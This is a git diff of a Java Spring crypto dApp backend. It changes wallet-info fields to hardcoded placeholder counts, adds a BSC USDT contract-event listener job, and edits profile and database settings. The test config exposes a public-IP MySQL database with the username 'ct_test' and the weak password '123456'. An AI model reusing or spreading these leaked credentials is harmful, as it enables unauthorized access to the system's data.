DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId()); WalletInfoVo walletInfo = new WalletInfoVo(); - walletInfo.setInviteId(member.getInviteId()); - walletInfo.setTotalMine(walletMine.getTotalAmount()); - walletInfo.setAvailableMine(walletMine.getAvailableAmount()); - walletInfo.setAvailableWallet(walletCoin.getAvailableAmount()); +// walletInfo.setInviteId(member.getInviteId()); +// walletInfo.setTotalMine(walletMine.getTotalAmount()); +// walletInfo.setAvailableMine(walletMine.getAvailableAmount()); +// walletInfo.setAvailableWallet(walletCoin.getAvailableAmount()); + + walletInfo.setTotalChild(10000); + walletInfo.setTotalChild(41451); return walletInfo; } diff --git a/src/main/java/cc/mrbird/febs/dapp/vo/WalletInfoVo.java b/src/main/java/cc/mrbird/febs/dapp/vo/WalletInfoVo.java index c7acac8..5ba339c 100644 --- a/src/main/java/cc/mrbird/febs/dapp/vo/WalletInfoVo.java +++ b/src/main/java/cc/mrbird/febs/dapp/vo/WalletInfoVo.java @@ -14,15 +14,21 @@ @ApiModel(value = "WalletInfoVo", description = "钱包信息返回参数类") public class WalletInfoVo { - @ApiModelProperty(value = "总产量") - private BigDecimal totalMine; +// @ApiModelProperty(value = "总产量") +// private BigDecimal totalMine; +// +// @ApiModelProperty(value = "可兑换") +// private BigDecimal availableMine; +// +// @ApiModelProperty(value = "收入余额") +// private BigDecimal availableWallet; +// +// @ApiModelProperty(value = "邀请码") +// private String inviteId; - @ApiModelProperty(value = "可兑换") - private BigDecimal availableMine; + @ApiModelProperty(value = "总关联数") + private Integer totalChild; - @ApiModelProperty(value = "收入余额") - private BigDecimal availableWallet; - - @ApiModelProperty(value = "邀请码") - private String inviteId; + @ApiModelProperty(value = "关联持币") + private BigDecimal totalChildCoin; } diff --git a/src/main/java/cc/mrbird/febs/job/ChainListenerJob.java b/src/main/java/cc/mrbird/febs/job/ChainListenerJob.java new file mode 100644 index 0000000..5e0a671 --- /dev/null +++ b/src/main/java/cc/mrbird/febs/job/ChainListenerJob.java @@ -0,0 +1,29 @@ +package cc.mrbird.febs.job; + +import cc.mrbird.febs.dapp.chain.ChainEnum; +import cc.mrbird.febs.dapp.chain.ChainService; +import cc.mrbird.febs.dapp.chain.ContractEventService; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import javax.annotation.PostConstruct; +import java.math.BigInteger; + +@Slf4j +@Component +public class ChainListenerJob { + + @Autowired + private ContractEventService bscCoinContractEvent; + + @Autowired + private ContractEventService bscUsdtContractEvent; + + @PostConstruct + public void chainListenerJob() { + log.info("监听打开"); + ChainService.contractEventListener(new BigInteger("18103010"), bscUsdtContractEvent, ChainEnum.BSC_USDT.name()); +// ChainService.contractEventListener(new BigInteger("18097238"), bscCoinContractEvent, ChainEnum.BSC_TFC.name()); + } +} diff --git a/src/main/resources/application-test.yml b/src/main/resources/application-test.yml index 5361ccf..7aea178 100644 --- a/src/main/resources/application-test.yml +++ b/src/main/resources/application-test.yml @@ -18,7 +18,7 @@ username: ct_test password: 123456 driver-class-name: com.mysql.cj.jdbc.Driver - url: jdbc:mysql://120.27.238.55:3306/sys-dapp?useUnicode=true&characterEncoding=UTF-8&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2b8 + url: jdbc:mysql://120.27.238.55:3306/db_tfc?useUnicode=true&characterEncoding=UTF-8&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2b8 redis: # Redis数据库索引(默认为 0) diff --git a/src/main/resources/application.yml b/src/main/resources/application.yml index 2296f67..5be0b7b 100644 --- a/src/main/resources/application.yml +++ b/src/main/resources/application.yml @@ -5,7 +5,7 @@ spring: profiles: - active: dev + active: test thymeleaf: cache: false -- Gitblit v1.9.1